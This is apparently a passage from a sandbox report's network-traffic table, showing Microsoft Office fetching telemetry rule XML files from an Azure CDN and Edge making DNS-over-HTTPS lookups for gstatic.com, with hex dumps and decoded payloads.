2024-10-31 02:04:29 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a606ba7c-601e-003d-0781-2a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020428Z-17c5cb586f6tg7hbbt0rp19dan000000014g00000000c98q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:29 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: bce25016-801e-0035-64b4-2a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020428Z-159b85dff8f7svrvhC1DFWth2s00000000u0000000004x9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020428Z-16849878b78j5kdg3dndgqw0vg0000000apg000000002vyn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:29 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2909f93e-001e-0066-4539-2b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020429Z-15b8d89586ffsjj9qb0gmb1stn0000000d4g000000005nsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-31 02:04:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49839	162.159.61.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-31 02:04:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-31 02:04:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 31 Oct 2024 02:04:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8db01319983528ab-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 02:04:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0a 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49840	172.64.41.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-31 02:04:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-31 02:04:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 31 Oct 2024 02:04:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8db0131a1bd84606-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 02:04:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e6 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:29 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020429Z-15b8d89586fhl2qtatrz3vfkf00000000f5000000000dm8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49841	172.64.41.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-31 02:04:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-31 02:04:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 31 Oct 2024 02:04:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8db0131a38060bd9-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 02:04:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 10 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:29 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020429Z-16849878b7867ttgfbpnfxt44s00000008mg00000000vzkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:29 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: e5751b3d-f01e-0099-0a8e-299171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020429Z-17c5cb586f6tg7hbbt0rp19dan000000014g00000000c9ax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:29 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020429Z-16849878b786fl7gm2qg4r5y70000000096g000000006fxr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:29 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
